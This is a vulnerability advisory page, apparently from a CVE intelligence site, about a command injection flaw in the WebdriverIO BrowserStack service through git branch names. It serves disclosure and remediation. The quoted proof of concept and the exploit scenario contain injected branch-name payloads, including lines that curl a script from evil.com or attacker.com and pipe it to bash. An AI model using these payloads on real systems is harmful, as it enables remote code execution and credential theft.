Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconClone malicious git repository
-
DeliveryConfigure WebdriverIO with BrowserStack service
-
ExploitRun test suite via npm/wdio
-
InstallTrigger getGitMetadataForAISelection()
-
C2execSync() processes malicious branch name
-
ExecuteShell executes injected commands
-
ImpactExfiltrate credentials and establish persistence
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires WebdriverIO configured with the BrowserStack service package (@wdio/browserstack-service versions <= 9.23.2) and testOrchestrationOptions.runSmartSelection.enabled set to true in wdio.conf.js, which activates the vulnerable AI-driven test selection feature. The victim must run tests from within a git repository controlled or influenced by the attacker, achieved either by explicitly configuring testOrchestrationOptions.runSmartSelection.source to point at an attacker-controlled repository path, or by running tests in the current directory when that directory is a malicious git clone. Critically, the attacker must have the ability to create git branches with arbitrary names containing shell metacharacters in a repository the victim will use for testing - this requires either direct repository write access, successful social engineering (convincing victims to clone and test against malicious repos), or compromise of an upstream dependency repository in the victim's supply chain. The vulnerability triggers automatically when WebdriverIO test execution invokes the BrowserStack service initialization, requiring no additional user interaction beyond running 'npm run wdio' or equivalent test commands. Default configurations are vulnerable if runSmartSelection is enabled, as no special settings are needed beyond feature activation. Authentication is not required from the attacker's perspective once the malicious repository is in the victim's test execution path. Exploitation is limited to environments where WebdriverIO BrowserStack integration is actively used for test orchestration, making CI/CD pipelines and developer workstations running automated browser tests the primary attack surface. |
| Impact | CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) indicates maximum severity with network attack vector, low complexity, and no privileges or user interaction required. However, this vector assessment requires critical context: the 'network' vector applies because an attacker can host a malicious git repository remotely, but exploitation is not as simple as sending an HTTP request to a vulnerable service. The attack requires the victim to actively configure WebdriverIO to use the attacker's repository as a test source (via testOrchestrationOptions.runSmartSelection.source) or to run tests from within a cloned malicious repository. This introduces social engineering or supply chain compromise as prerequisite steps not captured in the CVSS vector. Real-world risk is highest in CI/CD environments where automated pipelines might pull and test code from forked repositories, third-party contributions, or compromised upstream dependencies without adequate review. Developer workstations running WebdriverIO tests are also at risk if developers test against unfamiliar repositories. The publicly available POC with explicit exploitation steps significantly lowers the barrier to weaponization. EPSS and KEV data are not provided in the input, preventing quantitative exploitation probability assessment. SSVC framework considerations: exploitation is automatable once repository access is achieved (low skill required with public POC), technical impact is critical (arbitrary code execution with process privileges), but exploitation status appears limited to proof-of-concept rather than widespread in-the-wild activity based on available evidence. Patch availability in version 9.24.0 released 2026-02-10 provides clear remediation path, making this a time-sensitive priority for organizations using the affected package versions in automated testing workflows. The vulnerability represents substantial supply chain risk if malicious packages or repositories enter the build pipeline, but lower risk for isolated developer environments with strict repository access controls. |
| Exploit ScenarioDerived | An attacker creates a malicious fork of a popular open-source project repository and adds a git branch named 'feature;curl${IFS}attacker.com/steal.sh|bash;#' containing seemingly legitimate code contributions. The attacker submits a pull request to the upstream project. A maintainer or CI/CD system configured with WebdriverIO and @wdio/browserstack-service clones the fork to run automated tests, with runSmartSelection enabled to optimize test execution. When the BrowserStack service's getGitMetadataForAISelection() function executes to gather git metadata, it extracts the malicious branch name and passes it unsanitized to execSync(). The shell interprets the semicolon as a command separator and ${IFS} as a space substitute, executing 'curl attacker.com/steal.sh | bash' which downloads and runs a payload script. The script exfiltrates environment variables containing BrowserStack credentials, GitHub tokens, and AWS keys from the CI environment, then establishes persistence by modifying build scripts to inject backdoors into compiled artifacts. Publicly available exploit code exists demonstrating this attack pattern with file creation and command execution payloads. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Command injection in @wdio/browserstack-service allows arbitrary code execution when malicious git branch names are processed during test orchestration. Attackers can craft repository branch names containing shell metacharacters that execute when the BrowserStack service's getGitMetadataForAISelection() function unsafely passes branch names to Node.js execSync() calls. Exploitation requires configuring WebdriverIO to point at an attacker-controlled repository or cloning into a directory where tests run, making this primarily a supply chain and CI/CD pipeline risk. Publicly available exploit code exists with working proof-of-concept demonstrating file creation via injected commands. Vendor-released patch available in version 9.24.0 per GitHub advisory GHSA-5c46-x3qw-q7j7. CVSS 9.8 (Critical) reflects maximum impact, but real-world exploitation requires either social engineering developers to use malicious repos or compromising upstream dependencies - exploitation probability depends heavily on organizational code review and repository vetting practices.
RemediationAI
Upgrade @wdio/browserstack-service to version 9.24.0 or later immediately, as confirmed by the vendor release at https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0 and security advisory https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7. Update package dependencies using 'npm update @wdio/browserstack-service@latest' or modify package.json to specify version constraint '>=9.24.0' and run 'npm install'. For organizations unable to immediately patch, implement the following compensating controls with awareness of their limitations: disable the vulnerable feature by removing or setting testOrchestrationOptions.runSmartSelection.enabled to false in wdio.conf.js, which eliminates AI-driven test selection benefits but prevents exploitation; implement strict git repository allowlisting in CI/CD configurations to prevent tests from running against unapproved repositories, though this requires comprehensive inventory of legitimate test sources; apply mandatory code review for any wdio.conf.js changes that modify testOrchestrationOptions.runSmartSelection.source paths, recognizing that determined attackers may still bypass review through compromised dependencies; restrict CI/CD pipeline permissions to prevent arbitrary repository cloning, though this may break legitimate workflows requiring dynamic repository access. None of these workarounds fully mitigate the vulnerability - upgrading to 9.24.0 is the only complete remediation. Organizations should audit CI/CD logs for suspicious git branch names containing shell metacharacters (semicolons, backticks, ${IFS}, curl commands) as potential indicators of exploitation attempts.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the WebdriverIO BrowserStack service NPM package (@wdio/browserstack-service), specifically in the test orchestration helpers module at helpers.ts line 204. WebdriverIO is a popular browser automation framework for Node.js that integrates with BrowserStack cloud testing services. The vulnerable code implements an AI-driven smart test selection feature (runSmartSelection) that extracts git metadata to optimize which tests to run. The root cause is CWE-78 (OS Command Injection): the getGitMetadataForAISelection() function calls Node.js child_process.execSync() with string interpolation of unsanitized git branch names directly into shell commands. Git permits branch names to contain special shell metacharacters including semicolons, backticks, dollar signs, and variable expansion syntax like ${IFS} (Internal Field Separator used to bypass space restrictions in injection payloads). When execSync processes these crafted branch names, the shell interprets the metacharacters as command separators or substitutions, executing attacker-controlled commands in the context of the Node.js process. The CPE identifier pkg:npm/@wdio_browserstack-service confirms all versions through 9.23.2 are vulnerable. This reflects a common anti-pattern in Node.js applications where developers assume git metadata is trusted input, failing to apply input validation before shell invocation.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/webdriverio/webdriverio).
CVSS VectorVendor: https://github.com/webdriverio/webdriverio
DescriptionCVE.org
Summary
A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.
Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
Vulnerable Code
File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204
Root Cause
User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"Attack Vector
- Attacker creates a malicious git repository with a branch name containing command injection payload
- Attacker configures WebdriverIO to use this repository via
testOrchestrationOptions.runSmartSelection.source. ifsourceis not provided it takes current directory assource. - When
getGitMetadataForAISelection()executes, it extracts the malicious branch name - Branch name is interpolated into shell commands without sanitization
- Shell interprets special characters and executes attacker's commands
PoC
Step 1: Create Malicious Repository Branch
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"Step 2: Configure WebdriverIO
// wdio.conf.js
export const config = {
services: [
['browserstack', {
user: process.env.BROWSERSTACK_USERNAME,
key: process.env.BROWSERSTACK_ACCESS_KEY,
testOrchestrationOptions: {
runSmartSelection: {
enabled: true,
source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
}
}
}]
],
// ... rest of config
}Step 3: Run Tests
npm run wdioStep 4: Verify RCE
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txtImpact
- Remote Code Execution on CI/CD servers or developer machines
- Information Disclosure (environment variables, secrets, credentials)
- Data Exfiltration (source code, SSH keys, configuration files)
- System Compromise (backdoor installation, lateral movement)
- Supply Chain Attack (modify build artifacts)
Executive ViewAI
CVE-2026-25244 is a critical command injection vulnerability in @wdio/browserstack-service that allows arbitrary code execution through malicious Git branch names during CI/CD test orchestration. Organizations using WebdriverIO with BrowserStack integration face supply-chain and pipeline compromise risk if developers are directed to malicious repositories or if upstream dependencies are compromised. This vulnerability directly threatens build integrity and could enable lateral movement into production environments.
Vendor-released patch: @wdio/browserstack-service version 9.24.0. If immediate patching is not feasible: (1) Restrict CI/CD pipeline access to pre-approved, internal Git repositories only; (2) Disable BrowserStack service integration until patched; (3) Implement shell command filtering on branch names before test execution; (4) Run test orchestration in isolated, ephemeral containers with minimal host filesystem access; (5) Monitor execSync() calls in Node processes for unexpected child process spawning.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-30805
GHSA-5c46-x3qw-q7j7
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB